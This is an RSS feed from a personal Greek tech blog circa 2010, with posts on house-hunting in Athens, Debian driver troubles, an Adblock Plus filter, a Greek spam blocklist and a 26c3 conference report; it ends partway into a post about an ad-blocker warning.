<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Into.the.Void.</title>
	<atom:link href="http://www.void.gr/kargig/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.void.gr/kargig/blog</link>
	<description>Into The Void</description>
	<lastBuildDate>Sun, 28 Feb 2010 08:37:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Searching for a new house</title>
		<link>http://www.void.gr/kargig/blog/2010/02/28/searching-for-a-new-house/</link>
		<comments>http://www.void.gr/kargig/blog/2010/02/28/searching-for-a-new-house/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 08:37:00 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[aggeliestanea]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[athens]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[gps status]]></category>
		<category><![CDATA[house]]></category>
		<category><![CDATA[real estate]]></category>
		<category><![CDATA[rento]]></category>
		<category><![CDATA[rmaps]]></category>
		<category><![CDATA[spitogatos]]></category>
		<category><![CDATA[tagtodo list]]></category>
		<category><![CDATA[xe]]></category>
		<category><![CDATA[Αθήνα]]></category>
		<category><![CDATA[σπίτι]]></category>
		<category><![CDATA[χρυσή ευκαιρία]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=948</guid>
		<description><![CDATA[I&#8217;ve recently moved from Thessaloniki to Athens, Greece and of course the very first thing I had to do was to find a new house. To make my life easier (?) I tried to go a bit techie on that. Using tools/sites on the web and my Android. And here&#8217;s what I did and what [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve recently moved from Thessaloniki to Athens, Greece and of course the very first thing I had to do was to find a new house. To make my life easier (?) I tried to go a bit techie on that. Using tools/sites on the web and my Android. And here&#8217;s what I did and what I used for anyone who might be interested.</p>
<p>First of all I found some sites with real estate listings. The ones I found/used/tried to use were: <a href="http://www.xe.gr">Χρυσή Ευκαιρία</a>, <a href="http://www.rento.gr">Rento</a>, <a href="http://www.spitogatos.gr">Spitogatos</a> and <a href="http://www.aggeliestanea.gr">aggelies ta nea</a>.</p>
<p>Each one though has it own benefits and problems, apart from some who only have problems.<br />
<strong><em>Aggelies Ta Nea</em></strong>:<br />
<em>pros</em><br />
None. I can&#8217;t find anything innovative about this site.<br />
<em>Cons<br />
</em>i) It has very few listings of places to rent in the areas I liked (downtown Athens).<br />
ii) It is full of listings by real estates agents who ask you as payment one full rent if they manage to find you a house.<br />
iii) There&#8217;s no map showing where each house is.<br />
iv) There are pics of very very few houses in the listings.</p>
<p><strong><em>Spitogatos</em></strong>:<br />
<em>Pros</em>:<br />
This site has a really neat feature, price per square meter. It&#8217;s quite nice to have the site calculate it for you.<br />
<em>Cons</em>:<br />
i) It has very few listings of places to rent in the areas I liked (downtown Athens).<br />
ii) It&#8217;s default drop down price filtering boxes are a bit weird. It goes from 150->200->300->500->750>1000 Euros. So if I choose a price range of 300-500 euros I get a url like this: </p>
<p>http://www.spitogatos.gr/gr/search/results/residential/rent/r100/m2011m/nd/all/300/500/nd/85/nd/nd/nd/nd/nd/nd/nd/nd/all/rankingScore_desc</p>
<p>If I change it to:</p>
<p>http://www.spitogatos.gr/gr/search/results/residential/rent/r100/m2011m/nd/all/<strong>350/450</strong>/nd/85/nd/nd/nd/nd/nd/nd/nd/nd/all/rankingScore_desc</p>
<p>I get exactly what I wanted.<br />
Having drop down boxes might be fine for some people, but they don&#8217;t let me be as specific as I would like. A form to fill the price range by hand would be a lot more useful for me.<br />
iii) There&#8217;s no map showing where each house is.</p>
<p><strong><em>Rento</em></strong>:<br />
Pros:<br />
i) Rento is the most innovative site I found. Every house listing is on google maps and you can access its details by just clicking on a house.<br />
ii) It also features a VERY innovative search bar. You actually type a sentence about the house you would like and it searches for it.<br />
iii) Each listing has pictures<br />
iv) You can contact the owner by email<br />
v) There&#8217;s an option to note each listing you like so you get something like &#8220;bookmarks&#8221;.</p>
<p>Cons:<br />
i) It has very few listings of places to rent in the areas I liked (downtown Athens).<br />
ii) The search bar did not have a negation clause. You can&#8217;t search for &#8220;not something&#8221;. So since I didn&#8217;t want a ground flour house, I couldn&#8217;t filter them out.<br />
iii) The search bar would sometimes filter more than you asked for. If I searched for a price range of 350-450 and got some houses, then if I search for a 40-60 sq. meters I got some others. If I searched for both the price range and the sq. meters I got very very few results.<br />
iv) Many of the listings were quite outdated. Places had been rent weeks ago and the listings were still on the site. (I guess that&#8217;s a problem with real estate sites&#8230;owners don&#8217;t tell the sites whether the house has been sold/rented when that happends).<br />
v) There&#8217;s no way to see the most recently placed listings.</p>
<p>The awkward thing about Rento was that I met the people who manage it in a <a href="http://rubyst.es/">Ruby meeting</a> in Athens one week after I got the house. They were aware of these problems and they said that they have already corrected them and will push their changes to the site very soon. I sure hope so because the site is definitely worth it.</p>
<p>One suggestion for rento would be to have an option to export as kml the &#8220;bookmarked&#8221; houses.</p>
<p><strong><em>Χρυσή Ευκαιρία</em></strong>:<br />
<em>Pros</em>:<br />
i) Many many houses listed.<br />
ii) The filtering for the search works very well.</p>
<p><em>Cons</em>:<br />
i) Very few pics of the houses (if any)<br />
ii) Not every house is listed on a map<br />
iii) In order to get the owner&#8217;s telephone you have to send an sms, or call a number and pay some amount of money.<br />
iv) Not every house has an address listed.</p>
<p>I ended up using Χρυσή Ευκαιρία due to it&#8217;s massive database with listed houses. I tried to use rento and spitogatos but I just couldn&#8217;t find what I wanted. (Maybe I&#8217;ll get luckier when I&#8217;ll try to move to a new house.)</p>
<p>I then created an unlisted google map called &#8220;new houses&#8221; and started placing marks on the houses from Χρυσή Ευκαιρία that I liked, sorted by date of last update, and were placed on a map in the site. Then I started calling the owners of the rest to find out where they were. If they were in a place that I liked I made an appointment to go and check the house.<br />
I placed all the appointments at the &#8220;<a href="http://teodorfilimon.com/android/Tag-ToDo-List/basic.html">TagToDo List</a>&#8221; application for my android.<br />
Unfortunately I couldn&#8217;t use the &#8220;My maps Editor&#8221; by Google on my android due to some bug it stopped connecting to google maps. It would be really useful to have this app because I could have all the places I placed on &#8220;new houses&#8221; and have them with me. Instead I had to print the maps with the marks on them.</p>
<p>Finally in order to walk around the city and not get lost I used the <a href="http://www.androidfreeware.net/download-rmaps.html">Rmaps</a> application. It&#8217;s so much better than the standard google maps because you can get many different maps, and with the addition of <a href="http://www.androidfreeware.net/download-gps-status.html">GPS Status</a> you can copy paste your exact location to any notes applications you might be using on android to track new houses you find while walking.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2010/02/28/searching-for-a-new-house/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Debian adventures</title>
		<link>http://www.void.gr/kargig/blog/2010/01/28/debian-adventures/</link>
		<comments>http://www.void.gr/kargig/blog/2010/01/28/debian-adventures/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 16:18:21 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[bigmem]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[drm]]></category>
		<category><![CDATA[hal]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[linux-image]]></category>
		<category><![CDATA[rant]]></category>
		<category><![CDATA[sun-java6]]></category>
		<category><![CDATA[synaptics]]></category>
		<category><![CDATA[udev]]></category>
		<category><![CDATA[xorg]]></category>
		<category><![CDATA[xserver-xorg-input-synaptics]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=938</guid>
		<description><![CDATA[This is post is a rant. So don&#8217;t complain, I warned you.
&#60;rant&#62;
On my laptop (Macbook 4,1) I run Debian testing/experimental which was running quite smoothly since I installed it apart from the couple few weeks.
The first problem I faced was java not running inside browsers. Firefox, Iceweasel, Opera, google-chrome&#8230;nothing. I spent at least 2 hours [...]]]></description>
			<content:encoded><![CDATA[<p>This is post is a rant. So don&#8217;t complain, I warned you.</p>
<p>&lt;rant&gt;<br />
On my laptop (Macbook 4,1) I run Debian testing/experimental which was running quite smoothly since I installed it apart from the couple few weeks.</p>
<p>The first problem I faced was java not running inside browsers. Firefox, Iceweasel, Opera, google-chrome&#8230;nothing. I spent at least 2 hours installing/uninstalling various java packages, moving plugins to new locations and I couldn&#8217;t get it to work. I was furiously googling about the issue until I hit the jackpot: <a href="http://www.linuxquestions.org/questions/debian-26/squeeze-in-case-you-have-no-network-connection-with-java-apps-...-778366/">squeeze : in case you have no network connection with java apps &#8230;</a>&#8230;</p>
<p>Today I upgraded xserver-xorg-input-synaptics from 1.2.0-2 to 1.2.1-1. Even though it is a minor version bump a kind fairy also told me to reboot&#8230;I rebooted and my touchpad was not working properly, tapping was lost, I couldn&#8217;t use synclient because shared memory config (SHM) was not activated and so on and so on. My dynamic config using hal was there, /var/log/Xorg.0.log said that I was using the proper device and lshal showed correct settings for the device. I read /usr/share/doc/xserver-xorg-input-synaptics/NEWS.Debian.gz nothing new. After some googling another jackpot: <a href="http://osdir.com/ml/debian-bugs-dist/2010-01/msg02303.html">Bug#564211: xserver-xorg-input-synaptics: Lost tapping after upgrading to 1.2.1-1</a>. For some reason touchpad config has moved to udev from hal and the maintainers didn&#8217;t think it was important enough that needed to be documented someplace or put it in README.Debian&#8230;</p>
<p>The last issue I am having is with linux-image-2.6.32-trunk-686-bigmem not working correctly with KMS and failing with DRM.<br />
<code>[    0.967942] [drm] set up 15M of stolen space<br />
[    0.968030] nommu_map_sg: overflow 13d800000+4096 of device mask ffffffff<br />
[    0.968085] [drm:drm_agp_bind_pages] *ERROR* Failed to bind AGP memory: -12<br />
[    0.968159] [drm:i915_driver_load] *ERROR* failed to init modeset<br />
[    0.973067] i915: probe of 0000:00:02.0 failed with error -28</code></p>
<p>linux-image-2.6.32-trunk-686 works fine with those though.<br />
<code>[    0.973466] [drm] set up 15M of stolen space<br />
[    1.907642] [drm] TV-16: set mode NTSC 480i 0<br />
[    2.137173] [drm] LVDS-8: set mode 1280x800 1f<br />
[    2.193497] Console: switching to colour frame buffer device 160x50<br />
[    2.197435] fb0: inteldrmfb frame buffer device<br />
[    2.197436] registered panic notifier<br />
[    2.197442] [drm] Initialized i915 1.6.0 20080730 for 0000:00:02.0 on minor 0</code></p>
<p>Xorg is amazingly sluggish using linux-image-2.6.32-trunk-686-bigmem kernel. I search the debian bugs database and noone seems to have reported such an issue. But google came up with: <a href="http://bugs.freedesktop.org/show_bug.cgi?id=25690">[G35/KMS] DRM failure during boot (linux 2.6.31->2.6.32 regression)</a>. The issue looks solved so I will try and report it to Debian and see what comes out of it&#8230;<br />
*Update* Bug Report: <a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=567352">http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=567352</a></p>
<p>If you dare to comment saying &#8220;that&#8217;s what you get for using experimental&#8221; I really hope and curse you to spend 3 hours today to try and figure out what has changed in a minor version upgrade of one of your installed packages.<br />
Even worse, if you are on those guys that kept telling me &#8220;don&#8217;t use stable, testing is stable as a rock, never had a problem in years&#8230;&#8221; then I curse you to spend a whole day trying to reconfigure something with no documentation <img src='http://www.void.gr/kargig/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /><br />
<del datetime="2010-01-28T17:19:57+00:00">&lt;rant&gt;</del>&lt;/rant&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2010/01/28/debian-adventures/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Greek adblock plus filter on the official subscription list</title>
		<link>http://www.void.gr/kargig/blog/2010/01/15/greek-adblock-plus-filter-on-the-official-subscription-list/</link>
		<comments>http://www.void.gr/kargig/blog/2010/01/15/greek-adblock-plus-filter-on-the-official-subscription-list/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 14:19:26 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[adblock]]></category>
		<category><![CDATA[adblockplus]]></category>
		<category><![CDATA[ads]]></category>
		<category><![CDATA[antispam]]></category>
		<category><![CDATA[grrbl]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=929</guid>
		<description><![CDATA[Six months after my original post on the creation of Greek Adblock Plus filter, the filter is finally added on the official subscription list thanks to Wladimir Palant.
Apart from Adblock Plus add-on for Firefox/Iceweasel/etc, the filter is also usable by the AdThwart extension for Google Chrome/Chromium
Until today the list peaked at 70 subscribers&#8230;I hope this [...]]]></description>
			<content:encoded><![CDATA[<p>Six months after my original post on the <a href="http://www.void.gr/kargig/blog/2009/06/23/filter-out-advertisments-from-greek-sites-using-adblock-plus/">creation of Greek Adblock Plus filter</a>, the <a href="http://www.void.gr/kargig/blog/greek-adblock-plus-filter/">filter</a> is finally added on the <a href="http://adblockplus.org/en/subscriptions">official subscription list</a> thanks to Wladimir Palant.<br />
Apart from <a href="http://adblockplus.org/en/">Adblock Plus</a> add-on for <a href="http://www.mozilla.com/el/firefox/">Firefox</a>/<a href="http://wiki.debian.org/Iceweasel">Iceweasel</a>/etc, the filter is also usable by the <a href="https://chrome.google.com/extensions/detail/cfhdojbkjhnklbpkdaibdccddilifddb">AdThwart extension</a> for <a href="http://www.google.com/chrome">Google Chrome</a>/<a href="http://code.google.com/chromium/">Chromium</a></p>
<p>Until today the list peaked at 70 subscribers&#8230;I hope this will make more people trust my filter list and reach at least 100 subscribers.</p>
<p>As a sidenote, my <a href="http://grrbl.void.gr/">RBL for Greek spam</a> has moved to a new, better server thanks to a very kind person who donated it and some people administering mail servers have already added it to their spam filters. Since the original announcement the RBL jumped from 500 reqs/min to 2000 reqs/min.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2010/01/15/greek-adblock-plus-filter-on-the-official-subscription-list/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>RBL for Greek spam emails</title>
		<link>http://www.void.gr/kargig/blog/2010/01/08/rbl-for-greek-spam-emails/</link>
		<comments>http://www.void.gr/kargig/blog/2010/01/08/rbl-for-greek-spam-emails/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 13:48:45 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[antispam]]></category>
		<category><![CDATA[blacklist]]></category>
		<category><![CDATA[dnsbl]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[exim]]></category>
		<category><![CDATA[grrbl]]></category>
		<category><![CDATA[postfix]]></category>
		<category><![CDATA[rbl]]></category>
		<category><![CDATA[sendmail]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[spamassassin]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=921</guid>
		<description><![CDATA[It&#8217;s been some months now that I&#8217;ve started collecting some IP addresses of well known Greek spammers and I&#8217;ve put them on an DNSBL. I&#8217;ve named this list GrRBL. The software I use to run the list is rbldnsd.
The list is strictly moderated by me and only me and I try to be very selective [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been some months now that I&#8217;ve started collecting some IP addresses of well known Greek spammers and I&#8217;ve put them on an <a href="http://en.wikipedia.org/wiki/DNSBL">DNSBL</a>. I&#8217;ve named this list <a href="http://grrbl.void.gr/">GrRBL</a>. The software I use to run the list is <a href="http://www.corpit.ru/mjt/rbldnsd.html">rbldnsd</a>.</p>
<p>The list is strictly moderated by me and only me and I try to be very selective on hosts I add to the list. The list contains hosts not only in .gr zone but also &#8220;foreign&#8221; hosts used to send spam messages either in Greek language or of Greek interest.</p>
<p>There&#8217;s a minimalistic guide on using it with spamassassin, exim, sendmail and postfix on <a href="http://grrbl.void.gr/">GrRBL&#8217;s website</a>. There are currently no statistics and no public listing of IPs in the blacklist. If there&#8217;s enough demand for statistics I might create some.</p>
<p>There&#8217;s also NO automatic deletion support, once an IP is in the list there&#8217;s no automatic way out. Since I am the only one adding IPs to the list, I am also the only one removing them, manually of course.</p>
<p>Even though I use GrRBL in all of the mail servers I own/manage, still I consider the service as beta. I don&#8217;t think it&#8217;s ever going to eat your emails, but you are still the only one responsible if this happens.</p>
<p>To submit new spam messages for inclusion please send me an email with FULL headers of the spam message to grrbl [at] void [dot] gr and I will try to take a look at it as soon as possible.</p>
<p>If you use it, or plan to, please leave a comment or even better, submit some spam messages so the list gets bigger and better.</p>
<p>P.S. In case you wonder, yes the list contains the IPs of the notorious sofokleous10 spammer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2010/01/08/rbl-for-greek-spam-emails/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>26c3: Here Be Dragons!</title>
		<link>http://www.void.gr/kargig/blog/2010/01/04/26c3-here-be-dragons/</link>
		<comments>http://www.void.gr/kargig/blog/2010/01/04/26c3-here-be-dragons/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 13:41:36 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[26c3]]></category>
		<category><![CDATA[bcc]]></category>
		<category><![CDATA[Berlin]]></category>
		<category><![CDATA[cacert]]></category>
		<category><![CDATA[ccc]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[dragons]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[germany]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[here be dragons]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=898</guid>
		<description><![CDATA[We have been talking with Patroklos (argp of census-labs.com) about going to a CCC event for years. This year though we were determined. So on late September 2009 we booked our flight tickets to Berlin. A couple of weeks later some other friends expressed their wish to come with us. So in the end me, [...]]]></description>
			<content:encoded><![CDATA[<p>We have been talking with Patroklos (argp of <a href="http://www.census-labs.com">census-labs.com</a>) about going to a <a href="http://www.ccc.de">CCC</a> event for years. This year though we were determined. So on late September 2009 we booked our flight tickets to Berlin. A couple of weeks later some other friends expressed their wish to come with us. So in the end me, Patroklos, huku and SolidSNK (of <a href="http://www.grhack.net">grhack.net</a>) and <a href="http://www.pheide.com/home.php">Christine</a> formed up a group to visit <a href="http://events.ccc.de/congress/2009/wiki/Main_Page">26c3 Here Be Dragons</a>. Another group of Greeks also came to 26c3, among them <a href="http://sock-raw.org/index.html">Ithilgore</a>, <a href="http://xorl.wordpress.com/">xorl</a>, <a href="http://sin.secbible.org/">sin</a> , <a href="http://www.int0x80.gr/">gorlist</a> and one more that I have no idea who he was, sorry <img src='http://www.void.gr/kargig/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>After a canceled flight on the 26th of December due to fog on <a href="http://www.thessalonikiairport.gr/">SKG airport</a> we finally flew on the 27th and went to Berlin. After arriving there we immediately went to <a href="http://www.booking.com/hotel/de/motel-one-berlin-alexanderplatz.el.html">the hotel we had booked</a> and then straight to the <a href="http://www.bcc-berlin.de/">Berliner Congress Center</a> where the 26c3 was taking place.</p>
<p>BCC is an excellent conference center, nothing close to anything I have ever seen in Greece. It looks great both from the outside and from the inside. When we entered BCC we saw a huge number of diverse people. You could see and feel the difference with all the other IT conferences. People were very relaxed, very talkative and extremely friendly. What makes CCC so special is it&#8217;s community. There were soooo many CCC volunteers inside the BCC willing to help you with any information you might need. More on that later on&#8230;</p>
<p>After paying just 80€ for the whole conference, 4 days, we started walking around the ground floor. There were many information desks of various projects, free PCs to use (loaded with Ubuntu), the huge lounge which included a bar for food and drinks with lots of seats for people and 2 rooms for presentations. On the upper floor there were many more projects and another large room for presentations. </p>
<p>What made BCC so lively were all these <a href="http://events.ccc.de/congress/2009/wiki/Category:Projects">projects</a> around the presentation rooms. There were always hundreds of people sitting outside of the presentation rooms hacking on their projects, discussing with other people, selling merchandise, etc. Because it was our first time in the conference we were not experienced enough to use our time wisely between the lectures so I only managed to visit very few projects, Cacert, Gentoo and Debian. I am sure that there were people who did not attend any lectures at all and just sat all day at their projects&#8217; infodesk. </p>
<p>Before I continue with the presentations we went to I want to make a note about volunteers again. <a href="http://events.ccc.de/congress/2009/wiki/Volunteers">Volunteers</a> at 26c3 were called angels and they did an EXCELLENT job. They would not allow you to sit wherever you liked at a lecture, they would try to find you a seat or they would put you on a place where you could stand without blocking others. Nobody was allowed to sit at the corridors, nobody. Everything was in order and I never ever heard a single person complain about angels&#8217; policy. They were strict and firm on one hand but helpful, fair and polite on the other. They were probably the best volunteers I have ever faced anywhere. All of them were carrying an ID and a DECT phone on them to cooperate with other angels (oh yes, the conference had it&#8217;s own <a href="http://events.ccc.de/congress/2009/wiki/POC">DECT network</a>&#8230;AND it&#8217;s own <a href="http://events.ccc.de/congress/2009/wiki/GSM">GSM network</a>!!!) Funny quote: Angels at the entrance and exit doors wore t-shirts that wrote &#8220;Physical ACL&#8221;, heh.</p>
<p>The very first presentation we attended was &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3452.en.html">Here Be Electric Dragons</a>&#8220;, and then we moved to see &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3703.en.html">Exposing Crypto bugs through reverse engineering</a>&#8220;. After a break we tried to go to the &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3654.en.html">GSM: SRSLY?</a>&#8221; lecture but it was SOO full that we were not allowed to go inside the presentation room. So we went to the &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3554.en.html">Tor and censorship: lessons learned</a>&#8221; presentation which was more interesting than I expected. The final talks we saw on the first day were: &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3713.en.html">UNBILD – Pictures and Non-Pictures</a>&#8221; which was in German and of course &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3596.en.html">cat /proc/sys/net/ipv4/fuckups</a>&#8220;. Since none of us spoke German there was no urge to see the UNBILD lecture, but as we painfully understood by not being able to even enter the presentation room for the &#8220;GSM: SRSLY?&#8221; lecture, you have to go a LOT earlier to see a good lecture. We definetely wanted to see fabs lecture so we went there an hour earlier to find some seats. By the way, outside of the presentation rooms were TVs with live streaming from inside for people who couldn&#8217;t go inside or for people who didn&#8217;t want to. As I said earlier a lot of people preferred sitting at their projects&#8217; infodesk and watched the <a href="http://events.ccc.de/congress/2009/wiki/Stream">streams</a> of the presentations.</p>
<p>On the next day we saw: &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3350.en.html">Milkymist</a>&#8220;, &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3672.en.html">Advanced microcontroller programming</a>&#8220;, &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3507.en.html">Fuzzing the Phone in your Phone</a>&#8220;, &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3494.en.html">Defending the Poor, Preventing Flash exploits</a>&#8220;, &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3688.en.html">Haste ma&#8217;n netblock?</a>&#8221; and &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3555.en.html">SCCP hacking, attacking the SS7 &#038; SIGTRAN applications one step further and mapping the phone system</a>&#8220;.</p>
<p>On the third day just &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3608.en.html">Playing with the GSM RF Interface</a>&#8220;, &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3535.en.html">Using OpenBSC for fuzzing of GSM handsets</a>&#8221; and &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3658.en.html">Black Ops Of PKI</a>&#8221; since we decided to do some sightseeing as well <img src='http://www.void.gr/kargig/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Finally on the last day we went to &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3515.en.html">secuBT</a>&#8221; and from that to another German lecture about a distributed portscanner called <a href="http://events.ccc.de/congress/2009/wiki/Wolpertinger">Wolpertinger</a> that replaced a canceled lecture on IBM AS/400. Afterwards we went to the realtime English translation stream of &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3725.en.html">Security Nightmares</a>&#8221; and to the &#8220;<a href="http://events.ccc.de/congress/2009/Fahrplan/events/3717.en.html">Closing Event</a>&#8220;.</p>
<p>I had a really great time and I certainly want to be there again next year. If I manage to go there again though I will try take a lot more days off work so I can visit many more places around the city. The whole event was excellent, the organization was almost perfect and the people who contributed to it deserve a huge applaud, especially the angels.</p>
<p>Congratulations to all.</p>
<p>Necessary pics:<br />
<a href="http://www.void.gr/kargig/blog/wp-content/PC285232.jpg"><img src="http://www.void.gr/kargig/blog/wp-content/PC285232-300x225.jpg" alt="lounge" title="lounge" width="300" height="225" class="alignnone size-medium wp-image-910" /></a> <a href="http://www.void.gr/kargig/blog/wp-content/PC295358.jpg"><img src="http://www.void.gr/kargig/blog/wp-content/PC295358-300x225.jpg" alt="Room 1" title="Room 1" width="300" height="225" class="alignnone size-medium wp-image-912" /></a><br />
<a href="http://www.void.gr/kargig/blog/wp-content/PC285240.jpg"><img src="http://www.void.gr/kargig/blog/wp-content/PC285240-300x225.jpg" alt="FX presentation" title="FX presentation" width="300" height="225" class="alignnone size-medium wp-image-911" /></a> <a href="http://www.void.gr/kargig/blog/wp-content/PC305395.jpg"><img src="http://www.void.gr/kargig/blog/wp-content/PC305395-300x225.jpg" alt="BCC at night" title="BCC at night" width="300" height="225" class="alignnone size-medium wp-image-913" /></a><br />
<a href="http://www.void.gr/kargig/blog/wp-content/PC305432.jpg"><img src="http://www.void.gr/kargig/blog/wp-content/PC305432-300x225.jpg" alt="Pirate Flags" title="Pirate Flags" width="300" height="225" class="alignnone size-medium wp-image-915" /></a> <a href="http://www.void.gr/kargig/blog/wp-content/PC305417.jpg"><img src="http://www.void.gr/kargig/blog/wp-content/PC305417-300x225.jpg" alt="BCC with snow" title="BCC with snow" width="300" height="225" class="alignnone size-medium wp-image-914" /></a><br />
<a href="http://www.void.gr/kargig/blog/wp-content/PC305472.jpg"><img src="http://www.void.gr/kargig/blog/wp-content/PC305472-300x225.jpg" alt="Closing Event" title="Closing Event" width="300" height="225" class="alignnone size-medium wp-image-916" /></a><a href="http://www.void.gr/kargig/blog/wp-content/PC305390.jpg"><img src="http://www.void.gr/kargig/blog/wp-content/PC305390-300x225.jpg" alt="The Greeks" title="The Greeks" width="300" height="225" class="alignnone size-medium wp-image-919" /></a></p>
<p>P.S. I don&#8217;t want to go into specific details about the lectures I attended. Some were REALLY good, some were average and some were totally boring. If you follow the news you already know which streams of lectures you should certainly download and see. You can find every lecture on <a href="ftp://ftp.ccc.de/congress/26C3/">CCC&#8217;s FTP server</a>.</p>
<p>P.S.2 What a great wiki for an event&#8230;I was amazed by the amount of information one can find in there&#8230;</p>
<p>P.S.3 To Greeks only&#8230;please download the <a href="ftp://ftp.ccc.de/congress/26C3/mp4/26c3-3717-en-closing_event.mp4">closing event presentation</a> to see how we should start organizing events. Just check on the efforts of the people who contributed to the 26c3 event. I don&#8217;t want to write anything more about this issue because the difference with any Greek event I&#8217;ve ever attended to, or even the mentality of the people attending &#8220;our&#8221; events is SO SO SO HUUUUGE that it makes me really sad. I hope that this might fire up something. If more Greeks attended events organized abroad then maybe one day we might get more serious about our events as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2010/01/04/26c3-here-be-dragons/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Get adblocking back for archivum.info</title>
		<link>http://www.void.gr/kargig/blog/2009/11/17/get-adblocking-back-for-archivum-info/</link>
		<comments>http://www.void.gr/kargig/blog/2009/11/17/get-adblocking-back-for-archivum-info/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 12:14:33 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[adblock]]></category>
		<category><![CDATA[adblockplus]]></category>
		<category><![CDATA[alert]]></category>
		<category><![CDATA[archivum.info]]></category>
		<category><![CDATA[block ads]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=885</guid>
		<description><![CDATA[If you have adblock enabled and you try to visit any url of www.archivum.info you will get a really nasty alert saying: 
You Are Using Adblock Plus or some other advert blocking software! Archivum.info relies on advertising for revenue. Please add www.archivum.info to your ad blocking whitelist or disable ad blocking when you visit www.archivum.info.
When [...]]]></description>
			<content:encoded><![CDATA[<p>If you have adblock enabled and you try to visit any url of <a href="http://www.archivum.info">www.archivum.info</a> you will get a really nasty alert saying: </p>
